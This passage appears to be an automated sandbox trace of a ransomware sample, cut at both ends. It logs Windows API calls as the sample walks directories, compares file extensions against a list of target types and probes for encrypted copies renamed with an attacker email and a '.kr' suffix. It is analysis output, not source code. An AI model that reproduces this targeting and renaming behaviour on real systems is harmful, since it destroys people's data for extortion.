ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0201.488] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.488] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0201.488] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0201.488] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0201.488] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 0 [0201.488] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0201.488] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.488] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0201.488] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0201.489] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0201.490] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1 [0201.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.493] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0201.498] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.498] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0201.498] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0201.498] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0201.498] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0201.498] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0201.498] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0201.498] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0201.501] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.501] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0201.502] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.502] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0201.502] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.502] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0201.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54c0060 | out: hHeap=0x420000) returned 1 [0201.503] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0202.644] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0202.645] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x685, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 Thread: id = 47 os_tid = 0xe4c [0174.901] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3cd3a10 [0174.901] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3ce3a18 [0174.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a750 [0174.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcf28 [0174.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a858 [0174.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x40ab020 [0174.904] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a948 [0174.904] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a948, Size=0x20) returned 0x45dd80 [0174.904] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a870 [0174.904] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a870, Size=0x20) returned 0x45dc18 [0174.904] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.905] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.905] Wow64DisableWow64FsRedirection (in: OldValue=0x363ff50 | out: OldValue=0x363ff50*=0x0) returned 1 [0174.905] lstrlenW (lpString="kernel32.dll") returned 12 [0174.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd80 | out: hHeap=0x420000) returned 1 [0174.905] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dc18 | out: hHeap=0x420000) returned 1 [0174.905] Sleep (dwMilliseconds=0x64) [0175.176] Sleep (dwMilliseconds=0x64) [0175.458] Sleep (dwMilliseconds=0x64) [0175.739] Sleep (dwMilliseconds=0x64) [0176.061] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.077] lstrlenW (lpString="auxbase.xml") returned 11 [0176.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.080] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1434) returned 1 [0176.080] CloseHandle (hObject=0x390) returned 1 [0176.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0176.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.080] lstrlenW (lpString=".doc") returned 4 [0176.080] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.080] lstrlenW (lpString=".docx") returned 5 [0176.080] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0176.081] lstrlenW (lpString=".pdf") returned 4 [0176.081] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString=".xls") returned 4 [0176.081] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString=".xlsx") returned 5 [0176.081] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0176.081] lstrlenW (lpString=".ppt") returned 4 [0176.081] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.081] lstrlenW (lpString=".zip") returned 4 [0176.081] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.081] lstrlenW (lpString=".rar") returned 4 [0176.081] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString=".bz2") returned 4 [0176.081] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString=".7z") returned 3 [0176.081] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.081] lstrlenW (lpString=".dbf") returned 4 [0176.081] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.081] lstrlenW (lpString=".1cd") returned 4 [0176.081] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.081] lstrlenW (lpString=".jpg") returned 4 [0176.081] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.081] lstrlenW (lpString=".doc") returned 4 [0176.081] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.081] lstrlenW (lpString=".docx") returned 5 [0176.081] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0176.082] lstrlenW (lpString=".pdf") returned 4 [0176.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.082] lstrlenW (lpString=".xls") returned 4 [0176.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.082] lstrlenW (lpString=".xlsx") returned 5 [0176.082] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0176.082] lstrlenW (lpString=".ppt") returned 4 [0176.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.082] lstrlenW (lpString=".zip") returned 4 [0176.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.082] lstrlenW (lpString=".rar") returned 4 [0176.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.082] lstrlenW (lpString=".bz2") returned 4 [0176.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.082] lstrlenW (lpString=".7z") returned 3 [0176.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.082] lstrlenW (lpString=".dbf") returned 4 [0176.082] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.082] lstrlenW (lpString=".1cd") returned 4 [0176.082] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0176.082] lstrlenW (lpString=".jpg") returned 4 [0176.082] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.082] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.082] lstrlenW (lpString="auxpad.xml") returned 10 [0176.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.083] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=212) returned 1 [0176.083] CloseHandle (hObject=0x390) returned 1 [0176.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0176.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.084] lstrlenW (lpString=".doc") returned 4 [0176.084] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.084] lstrlenW (lpString=".docx") returned 5 [0176.084] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0176.084] lstrlenW (lpString=".pdf") returned 4 [0176.084] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.084] lstrlenW (lpString=".xls") returned 4 [0176.084] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.084] lstrlenW (lpString=".xlsx") returned 5 [0176.084] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0176.084] lstrlenW (lpString=".ppt") returned 4 [0176.084] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.084] lstrlenW (lpString=".zip") returned 4 [0176.084] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.084] lstrlenW (lpString=".rar") returned 4 [0176.084] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.084] lstrlenW (lpString=".bz2") returned 4 [0176.084] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.084] lstrlenW (lpString=".7z") returned 3 [0176.084] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.084] lstrlenW (lpString=".dbf") returned 4 [0176.084] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.084] lstrlenW (lpString=".1cd") returned 4 [0176.085] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.085] lstrlenW (lpString=".jpg") returned 4 [0176.085] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.085] lstrlenW (lpString=".doc") returned 4 [0176.085] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString=".docx") returned 5 [0176.085] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0176.085] lstrlenW (lpString=".pdf") returned 4 [0176.085] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString=".xls") returned 4 [0176.085] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString=".xlsx") returned 5 [0176.085] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0176.085] lstrlenW (lpString=".ppt") returned 4 [0176.085] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.085] lstrlenW (lpString=".zip") returned 4 [0176.085] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.085] lstrlenW (lpString=".rar") returned 4 [0176.085] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString=".bz2") returned 4 [0176.085] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString=".7z") returned 3 [0176.085] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.085] lstrlenW (lpString=".dbf") returned 4 [0176.085] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.085] lstrlenW (lpString=".1cd") returned 4 [0176.085] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0176.086] lstrlenW (lpString=".jpg") returned 4 [0176.086] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.086] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.086] lstrlenW (lpString="insertbase.xml") returned 14 [0176.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.087] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=903) returned 1 [0176.087] CloseHandle (hObject=0x390) returned 1 [0176.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0176.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.087] lstrlenW (lpString=".doc") returned 4 [0176.087] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.087] lstrlenW (lpString=".docx") returned 5 [0176.087] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0176.087] lstrlenW (lpString=".pdf") returned 4 [0176.087] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.087] lstrlenW (lpString=".xls") returned 4 [0176.087] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.087] lstrlenW (lpString=".xlsx") returned 5 [0176.087] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0176.087] lstrlenW (lpString=".ppt") returned 4 [0176.087] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.087] lstrlenW (lpString=".zip") returned 4 [0176.087] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.088] lstrlenW (lpString=".rar") returned 4 